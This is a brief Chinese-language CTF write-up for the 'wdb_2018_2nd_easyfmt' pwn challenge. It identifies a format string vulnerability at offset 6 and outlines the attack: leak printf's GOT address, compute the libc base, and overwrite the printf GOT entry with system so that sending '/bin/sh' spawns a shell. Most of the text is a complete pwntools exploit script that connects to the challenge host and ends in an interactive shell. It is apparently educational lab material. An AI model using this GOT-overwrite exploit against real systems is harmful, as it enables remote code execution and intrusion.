wdb_2018_2nd_easyfmt

检查防护

1

本地调试

2

把我们输入内容的打印出来

IDA静态分析

3

很明了,格式化字符串漏洞,先找一下偏移

4

偏移为6

大致思路

格式化字符串漏洞泄露printf的got表地址,得到libc基地址,再将printf_got修改为system的地址再发送’/bin/sh’就相当于执行了 system(‘/bin/sh’)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import*
context(os='linux', arch='i386', log_level='debug')

#io = process('./wdb_2018_2nd_easyfmt')
io= remote("node4.buuoj.cn",26972)
elf =ELF('./wdb_2018_2nd_easyfmt')

libc = ELF('libc-2.23_32.so')

printf_got = elf.got['printf']


io.recvuntil(b"Do you know repeater?")
payload = p32(printf_got)+'%6$s'
io.sendline(payload)

printf_addr = u32(io.recvuntil("\xf7")[-4:])
print(hex(printf_addr))
libc_base=printf_addr-libc.sym['printf']
system_addr= libc_base + libc.sym['system']

payload1 = fmtstr_payload(6,{printf_got:system_addr})
io.send(payload1)
sleep(1)
io.sendline(b'/bin/sh\x00')
io.interactive()

5